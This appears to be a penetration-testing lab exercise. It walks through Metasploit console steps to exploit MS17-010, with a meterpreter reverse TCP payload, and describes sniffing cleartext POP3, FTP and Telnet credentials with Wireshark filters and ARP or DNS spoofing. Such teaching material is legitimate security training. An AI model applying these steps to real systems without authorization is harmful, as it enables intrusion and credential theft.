**Experiments 5:**

5. Perform the following:

1. Gaining access through CVE’s
2. Sniffing POP3/FTP/Telnet Passwords

a) Gaining access through CVE’s

**Aim:**

The aim of gaining access through Common Vulnerabilities and Exposures (CVEs) is to exploit known security flaws in software or hardware to gain unauthorized access to systems or data,. The process of exploiting these involves identifying vulnerable systems, locating corresponding exploits, and executing them.

**Key features:**

* **Focus on Vulnerabilities**
* **Facilitates Information Sharing:**
* **Identifying Vulnerabilities:**
* **Exploitation**
* Authentication Bypass
* Remote Code Execution (RCE)
* Phishing & Social Engineering
* Man-in-the-Middle (MitM) Attacks

**Procedure:**

Using the Metasploit framework Console to Launch Exploits for Gaining access through CVE’s

**Metasploit Framework**

Metasploit is a powerful penetration testing framework used by security

professionals to identify and exploit vulnerabilities in networks and

systems.

**MSFconsole**

MSFconsole provides a command line interface to access and work with the Metasploit Framework..

Below is a step-by-step guide on how to use the **Metasploit Console (msfconsole)** to launch exploits.

**Step 1:Accessing MSFconsole on Linux**

First, start the Metasploit console by running:

$ ./msfconsole

**Step 2. Search for an Exploit**

You can search for an exploit related to a specific vulnerability using:

search <keyword>

For example, to find an exploit you can use:

search cve:2021 exploits

**Step 3. Select an Exploit**

Once you've identified the exploit you want to use, select it with the

following

command:

use <exploit/path>

For example:

use exploit/windows/smb/ms17\_010

**Step 4. Show Options**

This will display the required parameters such as **RHOSTS (remote**

**target)**,

**LHOST (local attacker machine)**, and payload settings.

**Step 5. Set Required Options**

Set the target’s IP address and other necessary parameters:

set RHOSTS <target\_ip>

set LHOST <your\_ip>

set LPORT <port\_number>

If the exploit requires a specific payload, you can set it using:

set PAYLOAD <payload\_name>

For example, to use a reverse shell:

set PAYLOAD windows/meterpreter/reverse\_tcp

**Step 6. Show Payload Options (if needed)**

To see the options available for the selected payload:

show payloads

If needed, modify additional settings, such as:

set LHOST <your\_ip>

**Step 7. Run the Exploit**

Once everything is set, execute the exploit:

exploit

Or

run

Output result

b. Sniffing POP3/FTP/Telnet Passwords

**Aim:**

The aim of "sniffing" in a cyber security context is to intercept and analyze network traffic (packets) to gain insights, troubleshoot issues, and steal sensitive data. capturing plaintext credentials transmitted over insecure protocols such as **POP3, FTP,** and **Telnet**.

**Procedure :**

**FTP:**

FTP operates at the application layer of the OSI model (Level 7) and allows users to upload and download files as well as manage files and directories on a remote server. Communication between the FTP client and the FTP server occurs over two separate channels:

Execution steps;

1. Open terminal

2. Change into ftp shell

3 . >ftp

4 . ftp>open

to host name

enter username and password

**Telnet:**

Telnet (short for **TELecommunication NETwork**) is a **text-based protocol** used for remote login to servers, network devices, and other systems. It allows users to execute commands on a remote machine over a network.

* Operates on **port 23** by default.
* Uses a **command-line interface** (CLI) for remote administration.
* No graphical interface, making it lightweight.
* Enables remote control of systems and devices.

1. Open terminal

2. Change into telnet shell

3 . >telnet

4 . telnet>open

to host name

enter username and password

### ****POP3:****

POP3 **(Post Office Protocol version 3)** is a standard email protocol used to retrieve emails from a mail server to a local device. It allows users to download emails and read them offline.

**Default Port:**

* **POP3 (Unencrypted) → Port 110**

## **How POP3 Works**

1. **Client connects** to the mail server via port **110** (or **995 for POP3S**).
2. **Authentication occurs** using a username and password.
3. **Emails are downloaded** to the local device.
4. Emails are **usually deleted** from the server after download (unless configured otherwise).

**Key features**

**1. Packet Capture**

**2. Clear text Credential Extraction**

* POP3 (Port 110): Captures USER and PASS credentials from email clients.
* FTP (Port 21): Extracts usernames and passwords from FTP authentication.
* Telnet (Port 23): Sniffs remote login credentials as Telnet transmits in plaintext.

**3. Protocol-Specific Filtering**

* Attackers apply Wireshark filters like:
  + tcp.port == 110 (POP3)
  + tcp.port == 21 (FTP)
  + tcp.port == 23 (Telnet)
* Search for USER, PASS, or authentication-related strings.

**4. Man-in-the-Middle (MITM) Attack Support**

* Attackers can redirect or intercept traffic using:
  + ARP Spoofing (e.g., using ettercap)
  + DNS Spoofing to trick users into connecting via an attacker-controlled path.

**5. Real-time or Offline Analysis**

* Live Sniffing: Monitor traffic in real time.
* Offline Analysis: Save packet captures (.pcap files) for later examination.